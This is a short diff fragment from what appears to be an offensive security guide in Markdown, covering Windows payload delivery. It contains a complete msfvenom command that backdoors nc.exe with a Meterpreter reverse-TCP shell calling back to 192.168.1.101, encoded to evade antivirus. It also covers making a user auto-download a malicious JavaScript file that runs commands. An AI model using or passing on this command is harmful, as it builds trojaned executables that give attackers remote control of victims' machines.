@@ -34,7 +34,7 @@ It is however very likely that this will be picked up by a antivirus.
msfvenom -a x86 --platform windows -x nc.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 lhost=53 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o ncMalicious.exe
```
## Autodownload a malicious javascript-files
## Autodownload a malicious javascript-file
Just like we can download an exe for a user to can also make that user download a javascript file. Since javascript files can execute commands on windows.
@@ -44,8 +44,15 @@ var commandtoRun = "C:\\Windows\\system32\\calc.exe";